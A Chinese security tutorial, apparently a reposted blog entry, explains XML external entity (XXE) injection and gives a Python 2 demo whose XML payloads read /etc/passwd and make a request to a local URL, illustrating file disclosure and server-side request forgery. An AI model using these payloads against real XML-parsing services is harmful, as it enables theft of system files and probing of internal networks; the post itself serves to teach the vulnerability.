xml实体注入xxe

admin 2024年4月4日16:20:39评论1 views字数 1228阅读4分5秒阅读模式

xxe就是xml实体注入,先稍微就说一下XML entity:

entity翻译为”实体”。它的作用类似word中的”宏”,也可以理解为DW中的模板,你可以预先定义一个entity,然后在一个文档中多次调用,或者在多个文档中调用同一个entity(XML定义了两种类型的entity。一种是我们这里说的普通entity,在XML文档中使用;另一种是参数entity,在DTD文件中使用。

借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.

这里是一个Python的demo

# coding=utf-8
import xml.sax

x = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
"""

x1 = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8005/xml.test" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
"""


class MyContentHandler(xml.sax.ContentHandler):
    def __init__(self):
        xml.sax.ContentHandler.__init__(self)

    def startElement(self, name, attrs):
        self.chars = ""

    def endElement(self, name):
        print name, self.chars

    def characters(self, content):
        self.chars += content


parser = MyContentHandler()
print xml.sax.parseString(x, parser)
print xml.sax.parseString(x1, parser)

xml.test的文件内容是字符串Hello

可以看到两个的回显分别是
xml实体注入xxe
xml实体注入xxe

其中下面的这个能看到实际请求了这个地址,还可能造成ssrf
xml实体注入xxe

其实还有一个demo,可以将读取的文件发送出来,可以用于没有回显的场景下,作者是使用的php,我用Python但是暂时没测试成功,稍后再发出来。

wooyun上现有的典型漏洞

http://www.wooyun.org/bugs/wooyun-2010-059911

http://www.wooyun.org/bugs/wooyun-2010-073321

- source:strcpy.me

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月4日16:20:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xml实体注入xxehttps://cn-sec.com/archives/2631511.html

发表评论

匿名网友 填写信息